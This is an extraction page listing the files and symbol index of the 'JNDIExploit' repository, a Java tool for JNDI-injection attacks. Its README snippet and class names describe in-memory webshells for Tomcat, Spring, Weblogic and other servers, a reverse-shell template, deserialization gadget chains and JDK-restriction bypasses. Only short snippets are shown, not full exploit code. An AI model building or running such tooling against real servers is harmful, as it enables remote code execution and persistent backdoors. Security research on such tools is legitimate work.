class WebsphereMemshellTemplate (line 15) | public class WebsphereMemshellTemplate extends AbstractTranslet {
method WebsphereMemshellTemplate (line 17) | public WebsphereMemshellTemplate(){
method transform (line 137) | @Override
method transform (line 142) | @Override
FILE: src/main/java/com/feihong/ldap/utils/Cache.java
class Cache (line 7) | public class Cache {
method get (line 29) | public static byte[] get(String key){
method set (line 33) | public static void set(String key, byte[] bytes){
method contains (line 37) | public static boolean contains(String key){
method remove (line 41) | public static void remove(String key){
FILE: src/main/java/com/feihong/ldap/utils/Config.java
class Config (line 8) | public class Config {
method applyCmdArgs (line 26) | public static void applyCmdArgs(String[] args) {
FILE: src/main/java/com/feihong/ldap/utils/Util.java
class Util (line 10) | public class Util {
method getRandomString (line 11) | public static String getRandomString() {
method getClassCode (line 21) | public static String getClassCode(String className) throws Exception {
method getClassBytes (line 28) | public static byte[] getClassBytes(String className) throws Exception {
method base64Encode (line 44) | public static String base64Encode(byte[] bytes) throws Exception{
method base64Decode (line 65) | public static byte[] base64Decode(String str) throws Exception{
method serialize (line 85) | public static byte[] serialize(Object ref) throws IOException {
method getCmdFromBase (line 92) | public static String getCmdFromBase(String base) throws Exception {
method getIPAndPortFromBase (line 109) | public static String[] getIPAndPortFromBase(String base) throws Number...
FILE: src/test/java/TestBase64.java
class TestBase64 (line 8) | public class TestBase64 {
method testEncoder (line 9) | @Test
method testDecoder (line 16) | @Test
method test (line 24) | @Test
method test2 (line 33) | @Test
method test3 (line 43) | @Test
FILE: src/test/java/TestProgram.java
class TestProgram (line 4) | public class TestProgram {
method test (line 6) | @org.junit.Test
method test2 (line 14) | @org.junit.Test
Condensed preview — 60 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (263K chars).
[
{
"path": ".gitignore",
"chars": 9,
"preview": "/target/\n"
},
{
"path": ".idea/.gitignore",
"chars": 38,
"preview": "# Default ignored files\n/workspace.xml"
},
{
"path": ".idea/compiler.xml",
"chars": 728,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <component name=\"CompilerConfiguration\">\n <annotationP"
},
{
"path": ".idea/encodings.xml",
"chars": 261,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <component name=\"Encoding\">\n <file url=\"file://$PROJEC"
},
{
"path": ".idea/libraries/weblogic.xml",
"chars": 206,
"preview": "<component name=\"libraryTable\">\n <library name=\"weblogic\">\n <CLASSES>\n <root url=\"jar://$PROJECT_DIR$/lib/weblo"
},
{
"path": ".idea/libraries/webserviceclient.xml",
"chars": 222,
"preview": "<component name=\"libraryTable\">\n <library name=\"webserviceclient\">\n <CLASSES>\n <root url=\"jar://$PROJECT_DIR$/l"
},
{
"path": ".idea/misc.xml",
"chars": 709,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <component name=\"ASMPluginConfiguration\">\n <asm skipDe"
},
{
"path": ".idea/uiDesigner.xml",
"chars": 8792,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <component name=\"Palette2\">\n <group name=\"Swing\">\n "
},
{
"path": ".idea/vcs.xml",
"chars": 180,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <component name=\"VcsDirectoryMappings\">\n <mapping dire"
},
{
"path": "JNDIExploit.iml",
"chars": 80,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"JAVA_MODULE\" version=\"4\" />"
},
{
"path": "README.md",
"chars": 7321,
"preview": "# JNDIExploit\n一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,"
},
{
"path": "pom.xml",
"chars": 8724,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www"
},
{
"path": "src/main/java/com/feihong/ldap/HTTPServer.java",
"chars": 10253,
"preview": "package com.feihong.ldap;\n\nimport com.feihong.ldap.template.CommandTemplate;\nimport com.feihong.ldap.template.DnslogTemp"
},
{
"path": "src/main/java/com/feihong/ldap/LdapServer.java",
"chars": 3739,
"preview": "package com.feihong.ldap;\n\nimport com.feihong.ldap.controllers.LdapController;\nimport com.feihong.ldap.controllers.LdapM"
},
{
"path": "src/main/java/com/feihong/ldap/Starter.java",
"chars": 280,
"preview": "package com.feihong.ldap;\n\nimport com.feihong.ldap.utils.Config;\nimport java.io.IOException;\n\npublic class Starter {\n "
},
{
"path": "src/main/java/com/feihong/ldap/controllers/BasicController.java",
"chars": 4844,
"preview": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.MemShellType;\nimport com.feihong.ldap.enumtypes"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java",
"chars": 3696,
"preview": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.exceptions"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/LdapController.java",
"chars": 670,
"preview": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.l"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/LdapMapping.java",
"chars": 317,
"preview": "package com.feihong.ldap.controllers;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\ni"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java",
"chars": 509,
"preview": "package com.ibm.websphere.client.factory.jdbc;\n\nimport javax.naming.RefAddr;\nimport java.util.Properties;\n\n//this is a s"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/SerializedDataController.java",
"chars": 4685,
"preview": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.GadgetType;\nimport com.feihong.ldap.enumtypes.P"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java",
"chars": 10327,
"preview": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.exceptions"
},
{
"path": "src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java",
"chars": 6897,
"preview": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.enumtypes."
},
{
"path": "src/main/java/com/feihong/ldap/enumtypes/GadgetType.java",
"chars": 172,
"preview": "package com.feihong.ldap.enumtypes;\n\npublic enum GadgetType {\n urldns,\n commonsbeanutils1,\n commonscollections1"
},
{
"path": "src/main/java/com/feihong/ldap/enumtypes/MemShellType.java",
"chars": 663,
"preview": "package com.feihong.ldap.enumtypes;\n\npublic final class MemShellType {\n\n private MemShellType(){};\n\n public static"
},
{
"path": "src/main/java/com/feihong/ldap/enumtypes/PayloadType.java",
"chars": 231,
"preview": "package com.feihong.ldap.enumtypes;\n\npublic enum PayloadType {\n command,\n dnslog,\n reverseshell,\n tomcatmems"
},
{
"path": "src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java",
"chars": 104,
"preview": "package com.feihong.ldap.enumtypes;\n\npublic enum WebsphereActionType {\n list,\n upload,\n rce;\n}\n"
},
{
"path": "src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java",
"chars": 250,
"preview": "package com.feihong.ldap.exceptions;\n\npublic class IncorrectParamsException extends RuntimeException {\n public Incorr"
},
{
"path": "src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java",
"chars": 267,
"preview": "package com.feihong.ldap.exceptions;\n\npublic class UnSupportedActionTypeException extends RuntimeException{\n public U"
},
{
"path": "src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java",
"chars": 255,
"preview": "package com.feihong.ldap.exceptions;\n\npublic class UnSupportedGadgetTypeException extends RuntimeException {\n public "
},
{
"path": "src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java",
"chars": 271,
"preview": "package com.feihong.ldap.exceptions;\n\npublic class UnSupportedPayloadTypeException extends RuntimeException {\n public"
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/C3P0.java",
"chars": 4127,
"preview": "package com.feihong.ldap.gadgets;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java."
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java",
"chars": 1825,
"preview": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils."
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/CommonsCollections1.java",
"chars": 2663,
"preview": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils."
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/CommonsCollections2.java",
"chars": 2665,
"preview": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils."
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/Jre8u20.java",
"chars": 6704,
"preview": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils."
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/URLDNS.java",
"chars": 1686,
"preview": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.gadgets.utils.Reflections;\nimport java.io.ByteArrayOutputStre"
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java",
"chars": 1408,
"preview": "package com.feihong.ldap.gadgets.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.i"
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java",
"chars": 7905,
"preview": "package com.feihong.ldap.gadgets.utils;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.enumtypes.PayloadT"
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java",
"chars": 2680,
"preview": "package com.feihong.ldap.gadgets.utils;\n\nimport com.nqzero.permit.Permit;\nimport sun.reflect.ReflectionFactory;\nimport j"
},
{
"path": "src/main/java/com/feihong/ldap/gadgets/utils/Util.java",
"chars": 1077,
"preview": "package com.feihong.ldap.gadgets.utils;\n\npublic class Util {\n public static byte[] deleteAt(byte[] bs, int index) {\n "
},
{
"path": "src/main/java/com/feihong/ldap/template/CommandTemplate.java",
"chars": 5683,
"preview": "package com.feihong.ldap.template;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Util;\nimport org."
},
{
"path": "src/main/java/com/feihong/ldap/template/DnslogTemplate.java",
"chars": 6024,
"preview": "package com.feihong.ldap.template;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Util;\nimport org."
},
{
"path": "src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java",
"chars": 5282,
"preview": "package com.feihong.ldap.template;\n\nimport sun.misc.BASE64Decoder;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec."
},
{
"path": "src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java",
"chars": 13106,
"preview": "package com.feihong.ldap.template;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan."
},
{
"path": "src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java",
"chars": 16366,
"preview": "package com.feihong.ldap.template;\n\nimport com.sun.jmx.mbeanserver.JmxMBeanServer;\nimport com.sun.jmx.mbeanserver.NamedO"
},
{
"path": "src/main/java/com/feihong/ldap/template/MyClassLoader.java",
"chars": 298,
"preview": "package com.feihong.ldap.template;\n\npublic class MyClassLoader extends ClassLoader {\n MyClassLoader(ClassLoader c){su"
},
{
"path": "src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java",
"chars": 6923,
"preview": "package com.feihong.ldap.template;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Util;\nimport org."
},
{
"path": "src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java",
"chars": 13833,
"preview": "package com.feihong.ldap.template;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan."
},
{
"path": "src/main/java/com/feihong/ldap/template/Template.java",
"chars": 155,
"preview": "package com.feihong.ldap.template;\n\npublic interface Template {\n void generate();\n byte[] getBytes();\n void cac"
},
{
"path": "src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate.java",
"chars": 16524,
"preview": "package com.feihong.ldap.template;\n\nimport com.sun.jmx.mbeanserver.NamedObject;\nimport com.sun.jmx.mbeanserver.Repositor"
},
{
"path": "src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate.java",
"chars": 16736,
"preview": "package com.feihong.ldap.template;\n\nimport com.sun.jmx.mbeanserver.NamedObject;\nimport com.sun.jmx.mbeanserver.Repositor"
},
{
"path": "src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java",
"chars": 16245,
"preview": "package com.feihong.ldap.template;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan."
},
{
"path": "src/main/java/com/feihong/ldap/utils/Cache.java",
"chars": 1796,
"preview": "package com.feihong.ldap.utils;\n\nimport net.jodah.expiringmap.ExpirationPolicy;\nimport net.jodah.expiringmap.ExpiringMap"
},
{
"path": "src/main/java/com/feihong/ldap/utils/Config.java",
"chars": 5610,
"preview": "package com.feihong.ldap.utils;\n\nimport com.beust.jcommander.JCommander;\nimport com.beust.jcommander.Parameter;\nimport c"
},
{
"path": "src/main/java/com/feihong/ldap/utils/Util.java",
"chars": 4188,
"preview": "package com.feihong.ldap.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputS"
},
{
"path": "src/test/java/TestBase64.java",
"chars": 10456,
"preview": "import com.feihong.ldap.utils.Util;\nimport org.junit.Test;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\ni"
},
{
"path": "src/test/java/TestProgram.java",
"chars": 838,
"preview": "import javax.naming.InitialContext;\nimport javax.naming.NamingException;\n\npublic class TestProgram {\n\n @org.junit.Tes"
}
]
// ... and 2 more files (download for full content)
About this extraction
This page contains the full source code of the zzwlpx/JNDIExploit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 60 files (34.9 MB), approximately 84.0k tokens, and a symbol index with 202 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.